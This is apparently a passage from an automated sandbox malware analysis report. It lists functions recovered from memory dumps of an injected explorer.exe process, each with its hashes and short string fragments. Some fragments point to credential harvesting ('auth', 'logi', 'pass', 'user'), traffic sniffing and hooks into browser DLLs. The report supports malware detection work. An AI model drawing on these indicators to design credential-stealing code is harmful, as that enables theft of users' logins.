                                          • Opcode Fuzzy Hash: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                          • Instruction Fuzzy Hash: A0415E30A19E0D8FCB54EFA9C0A97EE77E1FB58300F54466EA80AD7351DA70D9408BC6
                                          Function 0F6AE432 Relevance: 5.1, Strings: 4, Instructions: 143COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .dll$el32$h$kern
                                          • API String ID: 0-4264704552
                                          • Opcode ID: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
                                          • Instruction ID: bb715fa2780e271332159f3daa1b1459b4a6255394d15513ef70b61887fda892
                                          • Opcode Fuzzy Hash: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
                                          • Instruction Fuzzy Hash: 0741A670608B4D4FD768DF2990943AAB7E1FBA8300F50462F949EC3256EF71D945CB46
                                          Function 0F6B50B9 Relevance: 5.1, Strings: 4, Instructions: 110COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: $Snif$f fr$om:
                                          • API String ID: 0-3434893486
                                          • Opcode ID: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                          • Instruction ID: 68d95e9bb4c7460caff7a2577e2d3f9cec64814451a3e3daf031846298791723
                                          • Opcode Fuzzy Hash: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                          • Instruction Fuzzy Hash: E331263150DB885FC71AEF68C0846DAB7D4FB84300F50491EE49BC7256EE35A58ACB47
                                          Function 0E8C00B9 Relevance: 5.1, Strings: 4, Instructions: 110COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102684333.000000000E8A0000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E8A0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_e8a0000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: $Snif$f fr$om:
                                          • API String ID: 0-3434893486
                                          • Opcode ID: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                          • Instruction ID: 89ba962e3a9e2b53555da581556890e8ee4f292c85e2ec3fe52871c1e9306855
                                          • Opcode Fuzzy Hash: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                          • Instruction Fuzzy Hash: 2C31BE71518B88AFD71AEB28C4846DAB7D4FB94300F504D1EE49BC7291EE30E94ACA43
                                          Function 0F6B50C2 Relevance: 5.1, Strings: 4, Instructions: 109COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: $Snif$f fr$om:
                                          • API String ID: 0-3434893486
                                          • Opcode ID: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
                                          • Instruction ID: d6eb54b8beb13e02b4c3f01551269c8ae53055e5fa1158301ef3b98f59a80aff
                                          • Opcode Fuzzy Hash: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
                                          • Instruction Fuzzy Hash: 4531E171508B486FD72AEF28C4846EAB7D4FB94300F40491EE49BC3256EE34E986CB47
                                          Function 0F6B0FC2 Relevance: 5.1, Strings: 4, Instructions: 106COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .dll$chro$hild$me_c
                                          • API String ID: 0-3136806129
                                          • Opcode ID: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
                                          • Instruction ID: c710c8920a576eae803fa47aac41503d1eb1a1be979ba8bd8428fd989b92f743
                                          • Opcode Fuzzy Hash: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
                                          • Instruction Fuzzy Hash: CB316D30118B484FCB84EF688495BEAB7E1FF98300F84466D984ECB216DF34D9858B56
                                          Function 0F6B0FBF Relevance: 5.1, Strings: 4, Instructions: 105COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .dll$chro$hild$me_c
                                          • API String ID: 0-3136806129
                                          • Opcode ID: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
                                          • Instruction ID: 89ac5cd6af41f72d98e6eadcd011609f7cad976a0b421d7e12336aef9a17de75
                                          • Opcode Fuzzy Hash: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
                                          • Instruction Fuzzy Hash: 18318D30118B484FCB94EF688494BEAB7E1FF98300F84466D984ACB356DF34C985CB4A
                                          Function 0F6B38C2 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                          • API String ID: 0-319646191
                                          • Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                          • Instruction ID: 1308c6118ccaaad221f80e5f06adea7eecc041e0cbeb8ff2a4bf834c9af9907a
                                          • Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                          • Instruction Fuzzy Hash: A631D131614B0D8BCB15EFA8C8847EDB7E4FB58204F40022ED95ED7241EF788685C789
                                          Function 0E8BE8C2 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102684333.000000000E8A0000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E8A0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_e8a0000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                          • API String ID: 0-319646191
                                          • Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                          • Instruction ID: 195a42d3111763b69dde4eed0170868e1b4d0e42da7533756f587ae24226c7ec
                                          • Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                          • Instruction Fuzzy Hash: E231D131614A0D8FCF45EFA8C8847EDB7E0FB99204F40462ED45ED7240DE748A49C78A
                                          Function 0F6B38BE Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                          • API String ID: 0-319646191
                                          • Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                          • Instruction ID: 51522ad5a62d721076f66339ced1cdc360bfa0bbf892135ee9d96f8936baaa23
                                          • Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                          • Instruction Fuzzy Hash: 0221C330614B0D8ACB15EFA8C8457ED7BA5FF58204F40421ED55AD7341EF788685C789
                                          Function 0E8BE8BE Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102684333.000000000E8A0000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E8A0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_e8a0000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                          • API String ID: 0-319646191
                                          • Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                          • Instruction ID: 3ea257a9ab31a2d2e454f16e15402ec122f73d51c1926b2dad07e368537baf74
                                          • Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                          • Instruction Fuzzy Hash: 0E21C330610A0D8FCF45EFA8C8947EDBBE1FF59204F40461ED45AD7240DE74DA498786
                                          Function 0F6B4E92 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .$l$l$t
                                          • API String ID: 0-168566397
                                          • Opcode ID: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                          • Instruction ID: 42bcd390a52bfc9a3c88606e265fb0fcc7ecc4006789955b6290132a8bd57724
                                          • Opcode Fuzzy Hash: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                          • Instruction Fuzzy Hash: 49215770A24B0E9BDB48EFA8D0447EEBAF1FB58304F50462ED509E3611DB7895918B88
                                          Function 0F6B4E94 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .$l$l$t
                                          • API String ID: 0-168566397
                                          • Opcode ID: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                          • Instruction ID: c75efac2e03528eaf6412d4477cb153a3db8162113b5a97107c8c5b89f24a708
                                          • Opcode Fuzzy Hash: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                          • Instruction Fuzzy Hash: C8216970A24B0E9BDB48EFA8D0447EEBBF1FB58304F50462ED509E3601DB7895918B88
                                          Function 0E8BFE92 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102684333.000000000E8A0000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E8A0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_e8a0000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .$l$l$t
                                          • API String ID: 0-168566397
                                          • Opcode ID: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                          • Instruction ID: d4087a1de7222fe5452d573124374bf84b5b7f811d0f89358924bb218f256e19
                                          • Opcode Fuzzy Hash: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                          • Instruction Fuzzy Hash: 5B217C70A24B0E9BDB04EFA8D0447AEBAF0FB58304F504A2ED109D3600DB74E9918B85
                                          Function 0E8BFE94 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102684333.000000000E8A0000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E8A0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_e8a0000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .$l$l$t
                                          • API String ID: 0-168566397
                                          • Opcode ID: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                          • Instruction ID: 2ca154854fe8a7e051fa5e1fe7c19dac85183f417d41938b0ddb7aec15cc8ba0
                                          • Opcode Fuzzy Hash: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                          • Instruction Fuzzy Hash: 45218D70A24B0D9BDB04EFA8D4447EDBBF0FB18304F504A2ED109D3600DB74E9918B85
                                          Function 0F6B4FF2 Relevance: 5.1, Strings: 4, Instructions: 77COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: auth$logi$pass$user
                                          • API String ID: 0-2393853802
                                          • Opcode ID: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
                                          • Instruction ID: 69044db6b9923bbcc4d683c004b40614a720c41a3c42f4f1bac90978a9b356b8
                                          • Opcode Fuzzy Hash: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
                                          • Instruction Fuzzy Hash: 6D21C030614B0D8BCB05DF9998806EEB7E1EF88344F04461DD84ADB346D7B5E995CBC6